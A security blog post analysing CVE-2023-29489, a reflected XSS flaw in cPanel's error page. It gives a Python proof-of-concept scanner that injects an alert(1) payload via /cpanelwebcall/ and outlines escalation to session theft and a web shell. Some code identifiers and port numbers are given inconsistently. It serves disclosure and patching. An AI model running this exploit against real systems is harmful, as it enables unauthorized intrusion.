blog.lesis.lat

Analysis of CVE-2023-29489: Reflected XSS in cPanel

September 10, 2024 | 6 Minute Read

The CVE-2023-29489[1] refers to a reflected Cross-Site Scripting (XSS)[2] vulnerability identified in the cPanel[3] web hosting control panel software, which is widely used on the web. The XSS vulnerability allows an attacker to execute malicious scripts on a page being accessed by other users. The attacker does not need to be authenticated in order to do that.

This vulnerability was identified on April 26, 2023, by the Assetnote’s[4] security team, an Australian security company. The vulnerability affects versions of cPanel prior to 11.109.9999.116 and was fixed in versions 11.109.9999.116, 11.108.0.13, 11.106.0.18, and 11.102.0.31 or later versions.

This publication is also disponible in: Portuguese


Description

The cPanel software is written in Perl[5], with binaries generated from Perl code. Based on the binaries accessible in the /cgi-sys/ directory on the management ports, it becomes evident that these binaries were originally Perl code and are remotely called via HTTP requests.

Besides the binaries inside /cgi-sys/, some cPanel functionalities and web applications are served through the cpsrvd binary. The cpsrvd binary runs by default on ports: 2082, 2083, 2086, 2087. For this, cPanel uses Apache’s[6] reverse proxy features, and the configuration for this can be found in /etc/apache2/conf/httpd/conf/. These proxying and script aliasing configurations define areas that are potentially interesting for attacks:

ProxyPass /cpanelwebcall/ http://127.0.0.1:2082/cpanelwebcall/ max=1 retry=0

... omitted for brevity ...

ScriptAlias /.cpanel/dcv /usr/local/cpanel/cgi-priv/get_local.cgi

RewriteEngine On

RewriteCond %{REQUEST_URI} ^/\.well-known/acme-challenge/[0-9a-zA-Z_-]+$ [OR]
RewriteCond %{REQUEST_URI} ^/\.well-known/cpanel-dcv/[0-9a-zA-Z_-]+$ [OR]
RewriteCond %{REQUEST_URI} ^/\.well-known/pki-validation/[A-F0-9]{32}\.txt(?:\ Sectigo\ DCV)?$ [OR]
RewriteCond %{REQUEST_URI} ^/\.well-known/pki-validation/(?:\ Ballot169)?
RewriteRule ^ /.cpanel/dcv [passthrough]

The file Cpanel/Server/Handlers/Httpd.pm has a specific logic related to path handling. This allowed for the mapping of attack surfaces. Within httpd.pm, there is a code snippet that routes all requests from a path beginning with /panelwebcall to a function called _server_cpanelwebcall, which in turn calls another function, Chanel::Server::WebCalls::handle, with a portion of the URL as an argument:

elsif ( 0 == rindex( $doc_path, '/cpanelwebcall/', 0 ) ) {
        # First 15 chars are “/cpanelwebcall/”
        _serve_cpanelwebcall(
            $self->get_server_obj(),
            substr( $doc_path, 15 ),
        );
    }

The function _serve_cpanelwebcall looks like this:

sub _serve_cpanelwebcall ( $server_obj, $webcall_uri_piece ) {
    require Cpanel::Server::WebCalls;
    my $out = Cpanel::Server::WebCalls::handle($webcall_uri_piece);

    $server_obj->respond_200_ok_text($out);

    return;
}

Which leads us to the function Chanel::Server::WebCalls::handle:

sub handle ($request) {

    my $id = extract_id_from_request($request);
    substr( $request, 0, length $id ) = q<>;

    Cpanel::WebCalls::ID::is_valid($id) or do {
        die _http_invalid_params_err("Invalid webcall ID: $id");
    };

The handle function extracts an ID from the request and then modifies the request by removing the ID. If the ID is not valid, it generates an error indicating the invalid request. When the error occurs, the function _httpd_invalid_params_err is called, which creates an exception called cpsrvd::BadRequest that leads to the Cpanel::Server::Handlers::ErrorPage module. Within this module, there is a variable called message_html. The vulnerability lies in this variable because it does not sanitize the error message when inserting the invalid ID.


Proof of Concept

Exploit:

#!/usr/bin/env python3
import requests
import argparse
import re

def exploit(target):
    payload = "<img%20src=x%20onerror='alert(1)'>foo"
    if not re.match(r'^https?://', target):
        target = f"https://{target}"

    try:
        response = requests.get(f"{target}/cpanelwebcall/{payload}")
        if payload in response.text:
            return f"The payload [{payload}] worked!"
        else:
            return f"The target [{target}] is not vulnerable."
    except requests.exceptions.RequestException as e:
            return(f"Error making request for {target} -> {e}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2023-29489 | XSS in cPanel")
    parser.add_argument("-t", "--target", required=True)
    args = parser.parse_args()

    try:
        print(exploit(args.target))
    except KeyboardInterrupt:
         exit(1)
    except EOFError:
         exit(1)
if __name__ == '__main__':
    main()

Impact

The impact of this vulnerability allows an attacker to execute arbitrary JavaScript code, without being authenticated, on nearly any port of a web server running cPanel.

This happens due to the proxy rules permitting access to the /cpanel/ directory through ports 80 and 443, as requests are redirected by Apache to the cPanel management ports.

The fact that the cPanel management ports are vulnerable to XSS allows an attacker to steal a legitimate user’s session. Once authenticated as a legitimate user, it is possible to upload a web shell[7] and gain remote command execution on the server.

Therefore, the vulnerability poses a significant threat to the application’s security, and it is highly recommended that system administrators update to the latest version.


Conclusion

The cPanel version discussed here has a vulnerable surface that allows an attacker to execute malicious scripts on pages accessed by regular users, without requiring authentication to exploit it. This vulnerability can be exploited regardless of whether the cPanel ports (2080, 2082, 2083, 2086) are exposed externally.

Exploiting this vulnerability can lead to arbitrary JavaScript code execution on nearly all ports of a web server running cPanel. This occurs due to proxy rules that permit access to the /cpanel/ directory even through ports 80 and 443, with requests being redirected to the cPanel management ports by Apache’s proxy configuration.

The vulnerability was addressed with patches available in versions after cPanel 11.109.9999.116. It is crucial for system administrators to update their systems to the latest version of cPanel and apply the available patches to mitigate the threats.


Authorship

This article was written by Lucas Katashi, who currently works as a pentester and is passionate about Red Teaming. He enjoys coding tools and considers Burp Suite his best friend.

  • The translation was done by Giovanni Sagioro: a Computer Science student, seeker of the Perl wisdom, and security researcher. Focused on application security, vulnerability discovery, and exploit development. As Larry Wall says—‘Easy things should be easy, and hard things should be possible’—so I’m trying to make the hard things possible.

References